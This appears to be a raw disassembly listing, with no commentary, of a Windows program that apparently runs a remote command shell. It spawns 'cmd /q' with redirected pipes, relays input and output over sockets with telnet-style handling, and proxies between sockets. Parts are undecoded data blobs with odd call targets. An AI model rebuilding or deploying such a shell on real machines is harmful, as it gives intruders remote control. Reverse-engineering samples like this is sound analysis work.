push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CB6A4
push dword ptr [esi]
call dword_4CB6EC
push dword ptr [ebp+8]
call sub_40B413
pop ecx
push edi
call near ptr 26E0000h
nop
loc_410957: ; CODE XREF: ___:0041090Cj
; ___:0041092Dj
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_434818
call sub_415221
push dword ptr [ebp+8]
call sub_410CD6
add esp, 10h
test eax, eax
jnz short loc_41099E
call near ptr 2680ABEh
nop
push eax
push offset unk_4347EC
call sub_415221
push dword ptr [ebp+8]
call sub_40B413
add esp, 0Ch
push ebx
nop
call near ptr 26E0000h
loc_41099E: ; CODE XREF: ___:00410979j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_4347C0
call sub_415221
push dword ptr [ebp+8]
call sub_40B413
add esp, 10h
push edi
call near ptr 26E0000h
nop
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109C5 proc near ; CODE XREF: ___:0041085Ap
; ___:00410867p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB66C
cmp eax, 1
jnz short loc_410A15
mov esi, [ebp+arg_4]
loc_4109E3: ; CODE XREF: sub_4109C5+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_410A0A
test al, al
jz short loc_410A19
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB66C
cmp eax, 1
jz short loc_4109E3
jmp short loc_410A15
; ---------------------------------------------------------------------------
loc_410A0A: ; CODE XREF: sub_4109C5+27j
push offset unk_434880
call sub_415221
pop ecx
loc_410A15: ; CODE XREF: sub_4109C5+19j
; sub_4109C5+43j
xor eax, eax
jmp short loc_410A1C
; ---------------------------------------------------------------------------
loc_410A19: ; CODE XREF: sub_4109C5+2Bj
push 1
pop eax
loc_410A1C: ; CODE XREF: sub_4109C5+52j
pop esi
leave
retn
sub_4109C5 endp
; =============== S U B R O U T I N E =======================================
sub_410A1F proc near ; CODE XREF: ___:00410923p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_410A4A
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_4348AC
call sub_415221
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_410A4A: ; CODE XREF: sub_410A1F+11j
push 1
pop eax
retn
sub_410A1F endp
; ---------------------------------------------------------------------------
word_410A4E dw 8B55h ; DATA XREF: sub_401ACD+23D5o
dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h
dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
dd 2026850h, 15FF0000h, 4CB5C4h, 0C63BF633h, 68501D74h
dd 434A1Ch, 478CE8h, 0B475FF00h, 0FFA976E8h, 0CC483FFh
dd 59E89057h, 57022CF5h, 410CCC68h, 4DE89000h, 850235F5h
dd 902975C0h, 270001E8h, 0D8685002h, 0E8004349h, 4759h
dd 15FF5959h, 4CB5ACh, 0E8B475FFh, 0FFFFA93Bh, 0E8905759h
dd 22CF520h, 8D106A53h, 5056E045h, 0AAA3E8h, 0CC48300h
dd 0E045C766h, 75FF0002h, 5415FFB0h, 6A004CB6h, 26A5706h
dd 0E2458966h, 0FFE47589h, 4CB6D415h, 83D88B00h, 840FFFFBh
dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E59C98h, 0E0458D00h
dd 15FF5350h, 4CB680h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh
dd 4CB67Ch, 850FC085h, 103h, 43499C68h, 0F045C700h, 0Ch
dd 89F47589h, 42E8F875h, 59000046h, 8D087D89h, 45C7FC45h
dd 10FCh, 458D5000h, 0FF5350CCh, 4CB6E815h, 83F88B00h
dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
dd 4CB63415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
dd 0D075FF50h, 0B6E015FFh, 8D50004Ch, 0FFFBEC85h, 495868FFh
dd 0E8500043h, 0ACB6h, 0FBEC858Dh, 0E850FFFFh, 45D1h, 0EC858D57h
dd 6AFFFFFBh, 0CE85009h, 89FFFFA5h, 0C069B845h, 234h, 83B44D8Bh
dd 888924C4h, 43E594h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
dd 4107C068h, 0F0458D00h, 0E8905056h, 226F47Ch, 69B84D8Bh
dd 234C9h, 89C63B00h, 43E5A481h, 39137400h, 850FC875h
dd 0FFFFFF37h, 0E890326Ah, 226F3C0h, 0E890EDEBh, 226FE76h
dd 491C6850h, 0CEE80043h, 59000045h, 8B03EB59h, 15FF087Dh
dd 4CB5E8h, 0EC858D50h, 68FFFFFBh, 4348E4h, 0AC14E850h
dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0DCE8FFFFh, 83FFFF8Dh
dd 858D14C4h, 0FFFFFBECh, 4507E850h, 57590000h, 0B6EC15FFh
dd 0FF53004Ch, 4CB6EC15h, 0AC15FF00h, 0FF004CB5h, 50E8B475h
dd 59FFFFA7h, 35E89056h, 5B022CF3h, 4439C033h, 940F0424h
db 0C0h, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410CD6 proc near ; CODE XREF: ___:0041096Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_410E27
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43E59C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_42707C
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_410FF9
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_410D41
nop
call near ptr 2680ABEh
push eax
push offset unk_434A7C
call sub_415221
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_410D7B
; ---------------------------------------------------------------------------
loc_410D41: ; CODE XREF: sub_410CD6+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4110AB
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_410D82
nop
call near ptr 2680ABEh
push eax
push offset unk_434A7C
call sub_415221
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
nop
call near ptr 2690B5Dh
loc_410D7B: ; CODE XREF: sub_410CD6+69j
xor eax, eax
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_410D82: ; CODE XREF: sub_410CD6+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
nop
call near ptr 277034Eh
sub eax, ebx
jz short loc_410DDC
dec eax
jz short loc_410DD6
dec eax
jz short loc_410DC2
nop
call near ptr 2680ABEh
push eax
push offset unk_434A48
call sub_415221
pop ecx
pop ecx
jmp short loc_410DF1
; ---------------------------------------------------------------------------
loc_410DC2: ; CODE XREF: sub_410CD6+D5j
mov edi, dword_4270AC
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_410DF1
; ---------------------------------------------------------------------------
loc_410DD6: ; CODE XREF: sub_410CD6+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_410DE0
; ---------------------------------------------------------------------------
loc_410DDC: ; CODE XREF: sub_410CD6+CFj
push ebx
push dword ptr [esi+14h]
loc_410DE0: ; CODE XREF: sub_410CD6+104j
nop
call near ptr 2690B5Dh
push 1
push dword ptr [esi+8]
call near ptr 2700D13h
nop
loc_410DF1: ; CODE XREF: sub_410CD6+EAj
; sub_410CD6+FEj
push dword ptr [esi+10h]
mov edi, dword_427068
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call dword_4CB6EC
push esi
call sub_41B0B1
pop ecx
push 1
pop eax
loc_410E22: ; CODE XREF: sub_410CD6+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_410CD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410E27 proc near ; CODE XREF: sub_410CD6+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, edi
jz loc_410F11
mov ebx, dword_4270FC
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, dword_427068
test eax, eax
jnz short loc_410E8A
call near ptr 2680ABEh
nop
push eax
push offset unk_434B2C
jmp short loc_410EAA
; ---------------------------------------------------------------------------
loc_410E8A: ; CODE XREF: sub_410E27+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_410EB2
call near ptr 2680ABEh
nop
push eax
push offset unk_434AEC
loc_410EAA: ; CODE XREF: sub_410E27+61j
call sub_415221
pop ecx
jmp short loc_410EE0
; ---------------------------------------------------------------------------
loc_410EB2: ; CODE XREF: sub_410E27+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_410F20
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_410F15
push offset unk_434AC4
call sub_4151AD
loc_410EE0: ; CODE XREF: sub_410E27+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_410EEC
push [ebp+var_4]
call edi
loc_410EEC: ; CODE XREF: sub_410E27+BEj
cmp [ebp+var_8], 0
jz short loc_410EF7
push [ebp+var_8]
call edi
loc_410EF7: ; CODE XREF: sub_410E27+C9j
mov eax, [esi]
test eax, eax
jz short loc_410F00
push eax
call edi
loc_410F00: ; CODE XREF: sub_410E27+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_410F0A
push eax
call edi
loc_410F0A: ; CODE XREF: sub_410E27+DEj
push esi
call sub_41B0B1
pop ecx
loc_410F11: ; CODE XREF: sub_410E27+1Dj
xor eax, eax
jmp short loc_410F1B
; ---------------------------------------------------------------------------
loc_410F15: ; CODE XREF: sub_410E27+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_410F1B: ; CODE XREF: sub_410E27+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_410E27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F20 proc near ; CODE XREF: sub_410E27+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41B590
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B590
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_4270F8
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
nop
call near ptr 2710000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
nop
call near ptr 2660C3Bh
test eax, eax
jz short loc_410FDC
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43E598[eax], ecx
nop
call near ptr 2660919h
jmp short loc_410FF2
; ---------------------------------------------------------------------------
loc_410FDC: ; CODE XREF: sub_410F20+9Aj
nop
call near ptr 2680ABEh
push eax
push offset unk_434B6C
call sub_415221
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_410FF2: ; CODE XREF: sub_410F20+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_410F20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410FF9 proc near ; DATA XREF: sub_410CD6+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4270E8
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411022: ; CODE XREF: sub_410FF9+8Fj
call ebx
test eax, eax
jz short loc_41108A
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_41105D
loc_411033: ; CODE XREF: sub_410FF9+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_41104D
cmp dl, 0Dh
jz short loc_41104D
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_41104D: ; CODE XREF: sub_410FF9+44j
; sub_410FF9+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411033
loc_41105D: ; CODE XREF: sub_410FF9+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CB6A4
test eax, eax
jle short loc_41108A
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411022
; ---------------------------------------------------------------------------
loc_41108A: ; CODE XREF: sub_410FF9+2Dj
; sub_410FF9+79j
mov esi, dword_42708C
call esi
cmp eax, 6Dh
jz short loc_4110A6
call esi
push eax
push offset dword_434BAC
call sub_415221
pop ecx
pop ecx
loc_4110A6: ; CODE XREF: sub_410FF9+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_410FF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110AB proc near ; DATA XREF: sub_410CD6+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_4110C4: ; CODE XREF: sub_4110AB+39j
; sub_4110AB+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CB66C
test eax, eax
jle loc_4111C9
cmp [ebp+var_10], ebx
jbe short loc_4110E6
dec [ebp+var_10]
jmp short loc_4110C4
; ---------------------------------------------------------------------------
loc_4110E6: ; CODE XREF: sub_4110AB+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_4111A9
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411156
cmp al, 7Fh
jz short loc_411156
cmp al, 3
jnz short loc_411111
push ebx
push ebx
nop
call near ptr 2770449h
jmp short loc_41117D
; ---------------------------------------------------------------------------
loc_411111: ; CODE XREF: sub_4110AB+5Aj
cmp al, 15h
jnz short loc_411133
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411169
; ---------------------------------------------------------------------------
loc_411133: ; CODE XREF: sub_4110AB+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_41116A
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411169
; ---------------------------------------------------------------------------
loc_411156: ; CODE XREF: sub_4110AB+52j
; sub_4110AB+56j
cmp esi, ebx
jbe short loc_411180
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411169: ; CODE XREF: sub_4110AB+86j
; sub_4110AB+A9j
pop ecx
loc_41116A: ; CODE XREF: sub_4110AB+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CB6A4
test eax, eax
jle short loc_4111C9
loc_41117D: ; CODE XREF: sub_4110AB+64j
mov al, byte ptr [ebp+arg_0+3]
loc_411180: ; CODE XREF: sub_4110AB+ADj
cmp al, 0Dh
jnz loc_4110C4
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
nop
call near ptr 26F0000h
test eax, eax
jz short loc_4111C9
xor esi, esi
jmp loc_4110C4
; ---------------------------------------------------------------------------
loc_4111A9: ; CODE XREF: sub_4110AB+47j
cmp [ebp+var_C], ebx
jnz short loc_4111BA
mov [ebp+var_C], 1
jmp loc_4110C4
; ---------------------------------------------------------------------------
loc_4111BA: ; CODE XREF: sub_4110AB+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_4110C4
; ---------------------------------------------------------------------------
loc_4111C9: ; CODE XREF: sub_4110AB+2Bj
; sub_4110AB+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4110AB endp
; ---------------------------------------------------------------------------
word_4111CE dw 8B55h ; DATA XREF: sub_401ACD+2C08o
dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h
dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
dd 53000000h, 56EC458Dh, 0A38AE850h, 0C4830000h, 45C7660Ch
dd 0FF0002ECh, 15FFC075h, 4CB654h, 6A57066Ah, 45896602h
dd 0F07589EEh, 0B6D415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
dd 0B8895300h, 43E59Ch, 50EC458Dh, 8015FF57h, 85004CB6h
dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB67Ch, 850FC085h
dd 110h, 0FFC075FFh, 0FFFF2CB5h, 99A2E8FFh, 5059FFFFh
dd 0FD2C858Dh, 0B868FFFFh, 500042BFh, 0A605E8h, 10C48300h
dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh
dd 0FF50FFFFh, 0FFFF2CB5h, 87CDE8FFh, 0C483FFFFh, 2C858D14h
dd 50FFFFFDh, 3EF8E8h, 458D5900h, 458D50FCh, 0FF5750DCh
dd 4CB6E815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
dd 0E015FFE0h, 50004CB6h, 0FD2C858Dh, 5868FFFFh, 5000434Ch
dd 0A599E8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF9DFBh
dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E59488h
dd 8458D00h, 2C858D50h, 56FFFFFFh, 13D36850h, 56560041h
dd 0ED6EE890h, 4D8B0226h, 34C969C8h, 3B000002h, 0A48189C6h
dd 740043E5h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 26ECB3E8h
dd 0EDEB9002h, 26F769E8h, 8D509002h, 0FFFD2C85h, 4C1C68FFh
dd 0E8500043h, 0A51Eh, 0E90CC483h, 0FFFFFF39h, 0EC15FF57h
dd 0FF004CB6h, 858DC075h, 0FFFFFD2Ch, 434BE868h, 0FBE85000h
dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh
dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF86C3h
dd 8D14C483h, 0FFFD2C85h, 0EEE850FFh, 0FF00003Dh, 4CE8C475h
dd 59FFFFA0h, 31E85659h, 90022CECh, 555B5E5Fh, 0EC81EC8Bh
dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 43E59Ch, 0ACB889h
dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h
dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
dd 4CB63Ch, 1875C085h, 15FF36FFh, 4CB6ECh, 0E80875FFh
dd 0FFFF9FC7h, 0E8905359h, 22CEBACh, 30858D53h, 68FFFFFBh
dd 408h, 0FF36FF50h, 4CB66C15h, 7FC08500h, 0FF36FF18h
dd 4CB6EC15h, 875FF00h, 0FF9F96E8h, 0E85359FFh, 22CEB7Ch
dd 30BD8090h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h
dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh
dd 0E850FFFFh, 0ABBCh, 59C08559h, 458D6174h, 858D50BCh
dd 0FFFFFB38h, 4D206850h, 52E80043h, 6800003Dh, 400h, 0FB38858Dh
dd 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A0A2E85Dh
dd 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah, 0A415FF36h
dd 0FF004CB6h, 0EC15FF36h, 0FF004CB6h, 0E80875h, 59FFFF9Fh
dd 0E5E89053h, 6A022CEAh, 0E8458D10h, 69E85053h, 660000A0h
dd 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh, 6AFFFFFBh
dd 26A5706h, 0E845C766h, 45890002h, 0D415FFECh, 8B004CB6h
dd 0FFFF83F8h, 15FF5D75h, 4CB5E8h, 4CE06850h, 0BAE80043h
dd 6800003Ch, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
dd 85C6FFFFh, 0FFFFFB31h, 0A00AE85Bh, 0C4830000h, 30858D14h
dd 53FFFFFBh, 0FF50086Ah, 0A415FF36h, 0FF004CB6h, 0EC15FF36h
dd 0FF004CB6h, 68E80875h, 59FFFF9Eh, 0EA4EE853h, 8D90022Ch
dd 106AE845h, 15FF5750h, 4CB5FCh, 75FFF883h, 0E815FF5Dh
dd 50004CB5h, 434C9C68h, 3C4BE800h, 680000h, 8D000004h
dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
dd 9F9BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
dd 0B6A415FFh, 36FF004Ch, 0B6EC15FFh, 75FF004Ch, 9DF9E808h
dd 5359FFFFh, 0E9DEE890h, 68022Ch, 8D000004h, 0FFFB3885h
dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 9F4FE8h
dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0B6A415FFh
dd 36FF004Ch, 39E857h, 59590000h, 0EC15FF57h, 0FF004CB6h
dd 0EC15FF36h, 0FF004CB6h, 9CE80875h, 59FFFF9Dh, 81E89053h
dd 0FF022CE9h, 0EC15FF36h, 0FF004CB6h, 84E80875h, 59FFFF9Dh
dd 0E96AE853h
; ---------------------------------------------------------------------------
sub al, 2
nop
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4116AD: ; CODE XREF: ___:0041175Cj
; ___:0041178Cj
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_4116C5: ; CODE XREF: ___:004116D3j
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_4116D5
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4116C5
loc_4116D5: ; CODE XREF: ___:004116CAj
cmp ecx, 1
jnz short loc_4116EA
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_4116EA: ; CODE XREF: ___:004116D8j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call dword_4CB63C
lea eax, [ebp-104h]
push eax
push ebx
call dword_4CB540
test eax, eax
jz short loc_41174A
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call dword_4CB66C
cmp eax, 0FFFFFFFFh
jz short loc_411792
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jz short loc_411792
loc_41174A: ; CODE XREF: ___:0041171Cj
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call dword_4CB540
test eax, eax
jz loc_4116AD
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call dword_4CB66C
cmp eax, 0FFFFFFFFh
jz short loc_411792
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call dword_4CB6A4
cmp eax, 0FFFFFFFFh
jnz loc_4116AD
loc_411792: ; CODE XREF: ___:00411731j
; ___:00411748j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
byte_411797 db 55h ; DATA XREF: sub_401ACD+210Eo
; sub_40BACE+106o
dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h
dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0B6D415FFh
dd 0F08B004Ch, 75FFFE83h, 1906856h, 15E80000h, 900226E8h
dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF825Fh
dd 8D14C483h, 0FFF88885h, 8AE850FFh, 0FF000039h, 0FFFE98B5h
dd 9BE5E8FFh, 5959FFFFh, 0C9E89053h, 8D022CE7h, 46AF045h
dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB634h, 6AEC458Dh
dd 0FB6A5004h, 15FF5657h, 4CB634h, 0FE98858Bh, 106AFFFFh
dd 234C069h, 89530000h, 43E59CB0h, 0D4458D00h, 9D16E850h
dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 5415FFFFh
dd 66004CB6h, 8DD64589h, 106AD445h, 5D895650h, 8015FFD8h
dd 83004CB6h, 1975FFF8h, 138868h, 4DE89000h, 0FF0226E7h
dd 0FFFE9C8Dh, 875FFFFh, 347E9h, 90858D00h, 68FFFFFCh
dd 429068h, 9BF0E850h, 3B590000h, 458959C3h, 684C75FCh
dd 190h, 0E71AE890h, 8D530226h, 0FFF88885h, 24B5FFFFh
dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 816DE8FFh
dd 858DFFFFh, 0FFFFF888h, 389BE850h, 0B5FF0000h, 0FFFFFE98h
dd 0FF9AF6E8h, 1CC483FFh, 0D9E89053h, 8B022CE6h, 9F39087Dh
dd 2A0h, 295840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h
dd 0F78485C7h, 1FFFFh, 29E80000h, 8300009Ch, 458D0CC4h
dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B63C15FFh, 0C085004Ch
dd 2398E0Fh, 8A00000h, 8B0043D8h, 888588CFh, 33FFFFFAh
